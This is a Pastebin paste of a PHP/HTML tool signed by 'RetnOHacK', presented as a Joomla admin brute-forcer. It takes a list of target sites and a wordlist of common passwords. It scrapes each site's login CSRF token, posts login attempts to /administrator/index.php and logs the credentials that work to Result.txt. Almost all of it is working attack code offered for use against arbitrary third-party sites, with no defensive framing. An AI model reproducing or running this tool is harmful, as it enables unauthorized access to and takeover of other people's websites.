Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- __ __ _ _ _ ___
- \ \/ /_ __ | | ___ (_) |_ ___ _ __ ___ / __\ __ _____ __
- \ /| '_ \| |/ _ \| | __/ _ \ '__/ __| / / | '__/ _ \ \ /\ / /
- / \| |_) | | (_) | | || __/ | \__ \ / /__| | | __/\ V V /
- /_/\_\ .__/|_|\___/|_|\__\___|_| |___/ \____/_| \___| \_/\_/
- |_|
- <html>
- <head>
- <link href="http://i.imgur.com/jKy0y.jpg" type="image/x-icon" rel="shortcut icon" />
- <meta name="author" content="RetnOHacK" />
- <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
- <meta name="description" content="RetnOHacK #Procoder'z Team Black Ghost" />
- <title>./Joomla Bruter Force</title>
- <style type='text/css'>
- input[type=submit], input[type=button], input[type=reset]{
- text-align:center;
- background:url(http://i46.tinypic.com/aloifo.png) repeat-x center bottom #666666;
- border:1px solid #4D4D4D;
- color:#FFFFFF;
- border-top-color:#565656;
- padding:4px 6px;
- margin:4px 5px;
- height:16px;
- -moz-box-shadow:0 0 1px black;
- -webkit-box-shadow:0 0 1px black;
- box-shadow:0 0 1px black;
- text-shadow:0 1px black;
- -moz-border-radius:4px;
- -webkit-border-radius:4px;
- -khtml-border-radius:4px;
- border-radius:4px;
- height:23px;
- }
- input[type=text], input[type=password]{
- background:url) repeat-x center bottom #666666;
- border:1px solid #4D4D4D;
- color:#CCCCCC;
- border-top-color:#565656;
- -moz-box-shadow:0 0 1px black;
- -webkit-box-shadow:0 0 1px black;
- box-shadow:0 0 1px black;
- -moz-border-radius:4px;
- -webkit-border-radius:4px;
- -khtml-border-radius:4px;
- border-radius:4px;
- height:18px;
- margin-left: 5px;
- }
- input , textarea , button , body , caption , table ,area , option {
- outline:none;
- transition: all 0.20s ease-in-out;
- -webkit-transition: all 0.25s ease-in-out;
- -moz-transition: all 0.25s ease-in-out;
- border-radius:3px;
- -webkit-border-radius:3px;
- -moz-border-radius:3px;
- //border:1px solid rgba(0,0,0, 0.2);
- /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
- }
- input , textarea {
- background: url('') repeat scroll 0 0 #8B8B8B;';
- }
- body{
- /* font-family : Verdana; */
- color : #FFFFFF;
- font-size : 14px;
- font-family:tahoma;
- background: url() no-repeat center top #252525;
- }
- input , textarea {
- outline:none;
- transition: all 0.20s ease-in-out;
- -webkit-transition: all 0.25s ease-in-out;
- -moz-transition: all 0.25s ease-in-out;
- border-radius:3px;
- -webkit-border-radius:3px;
- -moz-border-radius:3px;
- border:1px solid rgba(0,0,0, 0.2);
- }
- input:focus, textarea:focus {
- outline: 0;
- border-color: rgba(82, 168, 236, 0.8);
- -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
- -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
- box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
- background: url('') repeat scroll 0 0 #8B8B8B;';
- overflow: auto;
- }
- .x1 {}
- .x2 {font-size:13px;
- background-color:green;
- color:black;}
- hr {color:white;}
- a {color:black;}
- #x5 {
- font-family:tahoma;}
- .d1 {color :#29b01a;
- font-family:tahoma;
- font-size:13px;
- font-weight:bold;}
- #d4 {color:#29b01a;
- font-family:tahoma;
- font-weight:bold;}
- </style>
- </head>
- </br></br>
- <center><b><font color="lime">./Joomla Bruter Force</font></b><br /><br /><br />
- <form method="post" action="" enctype="multipart/form-data">
- <table width="50%" border="0">
- <tr><td><p ><font class="d1">User :</font>
- <input type="text" name="usr" value='admin' size="15"> </font><br /><br /></p>
- </td></tr>
- <tr><td><font class="d1">Sites list :</font>
- </td><td><font class="d1" >Pass list :</font></td></tr>
- <tr>
- <td>
- <textarea name="sites" cols="40" rows="13" ></textarea>
- </td><td>
- <textarea name="w0rds" cols="20" rows="13" >
- admin
- 123456
- password
- 102030
- 123123
- 12345
- 123456789
- pass
- test
- admin123
- demo
- !@#$%^
- </textarea>
- </td></tr><tr><td>
- <font >
- <input type="submit" name="x" value="start" id="d4">
- </font></td></tr></table>
- </form></center>
- <?
- @set_time_limit(0);
- if($_POST['x']){
- echo "<hr>";
- $sites = explode("\n",$_POST["sites"]); // Get Sites
- $w0rds = explode("\n",$_POST["w0rds"]); // Get w0rdLiSt
- $Attack = new Joomla_brute_Force(); // Active Class
- foreach($w0rds as $pwd){
- foreach($sites as $site){
- $Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
- flush();flush();
- }
- }
- }
- # Class & Function'z
- function txt_cln($value){ return str_replace(array("\n","\r"),"",$value); }
- class Joomla_brute_Force{
- public function check_it($site,$user,$pass){ // print result
- if(eregi('com_config',$this->post($site,$user,$pass))){
- echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
- $f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n"); fclose($f);
- flush();
- }else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
- }
- public function post($site,$user,$pass){ // Post -> user & pass
- $token = $this->extract_token($site);
- $curl=curl_init();
- curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
- @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
- @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
- @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($curl,CURLOPT_POST,1);
- curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
- curl_setopt($curl,CURLOPT_TIMEOUT,20);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- public function extract_token($site){ // get token from source for -> function post
- $source = $this->get_source($site);
- preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
- return $token[1][0];
- }
- public function get_source($site){ // get source for -> function extract_token
- $curl=curl_init();
- curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
- @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
- @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
- @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($curl,CURLOPT_TIMEOUT,20);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement